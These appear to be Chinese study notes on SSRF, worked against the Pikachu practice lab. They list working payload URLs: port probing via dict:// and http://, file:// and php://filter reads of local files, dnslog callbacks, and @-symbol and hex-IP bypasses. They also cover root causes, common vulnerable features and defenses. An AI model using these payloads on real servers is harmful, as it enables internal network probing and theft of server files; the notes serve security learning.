利用
curl:相当于访问url
exec():执行系统命令
curl_exec():执行一个curl
file_get_content():整个文件读入一个字符串中
curl_exec()
http://127.0.0.1/pikachu/vul/ssrf/ssrf_curl.php?url=http://127.0.0.1:3306
http://127.0.0.1/pikachu/vul/ssrf/ssrf_curl.php?url=http://ytw5ao.dnslog.cn
ftp://
http://127.0.0.1/pikachu/vul/ssrf/ssrf_curl.php?url=ftp://10.154.15.100/1.txt
file://
http://127.0.0.1/pikachu/vul/ssrf/ssrf_curl.php?url=file:///D:/2.txt
dict://
http://127.0.0.1/pikachu/vul/ssrf/ssrf_curl.php?url=dict://127.0.0.1:3306
file_get_contents()
只能访问http协议,无法进行端口探测
http://127.0.0.1/pikachu/vul/ssrf/ssrf_fgc.php?file=http://127.0.0.1/phpinfo.php
ftp://
文件传输协议
只能访问文件,无法访问目录
http://127.0.0.1/pikachu/vul/ssrf/ssrf_fgc.php?file=ftp://10.154.15.100/1.txt
file://
http://127.0.0.1/pikachu/vul/ssrf/ssrf_fgc.php?file=file://D:/2.txt
php://filter
http://127.0.0.1/pikachu/vul/ssrf/ssrf_fgc.php?file=php://filter/read=convert.base64-encode/resource=ssrf.php
绕过
@符号利用
http://127.0.0.1/pikachu/vul/ssrf/ssrf_curl.php?url=http://www.baidu.com@oqv5hj.dnslog.cn
http://127.0.0.1/pikachu/vul/ssrf/ssrf_curl.php?url=http://www.baidu.com@127.0.0.1/phpinfo.php
IP转16进制
127.0.0.1——0x7F000001
http://127.0.0.1/pikachu/vul/ssrf/ssrf_curl.php?url=http://0x7F000001/phpinfo.php
linux里行,windows不行
漏洞成因
由于服务器提供了从其他服务器引用获取数据的功能但又没有对目标地址做严格过滤与限制,导致攻击者可以传入任意的的地址来让后端服务器对其发起请求并返回对该目标地址请求的数据
漏洞常出现的地方
通过url地址分享网页内容
早期应用中,为了更好的用户体验,Web应用再分享功能中,通常会获取目标URL地址网页内容
转码服务
通过URL地址把原地址的网页内容调优使其适合手机屏幕浏览
由于手机屏幕大小的关系,直接浏览网页内容的时候会造成许多不便,因此有些公司提供了转码功能,把网页内容通过相关手段转为适合手机屏幕浏览的样式。例如百度、腾讯、搜狗等公司都有提供在线转码服务
图片加载与下载
通过URL地址加载或下载图片
图片加载远程图片地址此功能用到的地方很多,但大多都是比较隐秘,比如在游戏公司中的加载自家图片服务器上的图片用于展示(开发者为了有更好的用户体验通常对图片做些微小调整例如加水印、压缩等,所有就可能造成SSRF问题)
翻译
百度翻译存在SSRF
防御
限制HTTP端口,仅可使用http https
检查IP是否内网IP,进行黑名单过滤
进制不需要的协议,gopher、file、ftp等
统一错误信息,避免攻击者利用错误信息判断远程端口状态